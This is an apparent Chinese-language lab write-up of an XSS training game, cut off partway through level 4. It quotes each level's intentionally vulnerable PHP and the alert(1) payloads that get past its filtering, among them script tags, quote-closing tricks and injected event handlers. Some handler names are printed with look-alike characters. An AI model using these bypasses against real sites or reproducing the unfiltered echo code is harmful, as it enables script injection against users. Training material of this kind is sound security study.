-------------------------XSS挑战之旅-------------------------
最近在学习xss,找到了一个xss练习平台,在线地址:http://test.xss.tv/
实验环境也可以本地搭建,不过需要php+mysql的环境:
xss通关小游戏:https://pan.baidu.com/s/1zS2GwTNbMBXEF2yNEBeLgA 密码:85g8
我这里使用本地搭建,方便分析代码,安装好的页面如下:
Level 1:
分析一下源代码中的判断xss的代码:
<?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>欢迎用户".$str."</h2>"; ?>
根据代码发现,变量$str从url接受一个get类型的name参数,并且没有对传入的name参数进行任何过滤
直接echo出来,我们可以直接构造任意可弹窗payload,
这里使用最基本的:<script>alert(1)</script>,也可以使用 <svg/οnlοad=alert(1)> 等...
成功过关!Level 2:
从图中可以看出这是一个典型的搜索框xss,
分析一下源代码中的判断xss的代码:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜索"/> </form> </center>'; ?>
分析代码,仍然是使用get方法,从url中接受一个keyword参数,不过这里用到一个过滤函数htmlspecialchars(),
这个函数把预定义的字符转换为 HTML 实体,等于<不能用,这时候一种方法是黑名单绕过,就是不使用被过滤的符号,使用js的事件:
payload : " οnclick=alert(1)这样需要点击一下输入框<br>
" οnmοuseοver=alert(1)>需要鼠标划过输入框<br><br>
另外一种方法就是在构造payload就要将input的文本框本分提前闭合,不影响我们弹框代码,
我这里使用 "><script>alert(1)</script>
这样的话 : <input name="keyword" value=" "><script>alert(1)</script>"
这样value=" ",不会检查我们的弹窗代码
成功过关!!!Level 3:
分析一下源代码中的判断xss的代码:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜索 /> </form> </center>"; ?>
分析代码发现跟上面大同小异,不过过滤更加严格了,特别是value='".htmlspecialchars($str)."'发现
上题尝试闭合<"">构造<script>弹窗方法失效了,应为value中的<被转义了,只能利用上题中的js时间
来构造弹窗,不过这里需要用单引号闭合,构造payload : ' οnmοuseοver=alert(1)//
这样的话: <input name=keyword value=' ' οnmοuseοver=alert(1)// '>
闯关成功!!!Level 4:
分析一下源代码中的判断xss的代码:
<?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜索 /> </form> </center>'; ?>
这里我们看到,我们传入进去的值又经过了两个函数的参与。
函数说明:
Str_repla